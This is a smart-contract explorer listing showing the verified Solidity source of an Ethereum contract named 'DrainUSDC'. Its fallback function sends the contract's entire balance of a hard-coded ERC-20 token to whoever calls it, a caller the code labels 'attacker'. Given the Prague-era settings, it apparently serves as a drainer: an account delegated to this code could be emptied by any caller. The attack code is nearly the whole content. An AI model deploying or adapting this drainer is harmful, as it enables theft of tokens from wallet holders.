Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"contracts/X layer.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.0;\r
\r
interface IERC20 {\r
function transfer(address to, uint256 amount) external returns (bool);\r
function balanceOf(address account) external view returns (uint256);\r
}\r
\r
contract DrainUSDC {\r
fallback() external payable {\r
IERC20 usdc = IERC20(0x74b7F16337b8972027F6196A17a631aC6dE26d22);\r
address attacker = msg.sender;\r
uint256 balance = usdc.balanceOf(address(this));\r
if (balance > 0) {\r
usdc.transfer(attacker, balance);\r
}\r
}\r
}"
}
},
"settings": {
"evmVersion": "prague",
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
Submitted on: 2025-11-04 17:44:05
Comments
Log in to comment.
No comments yet.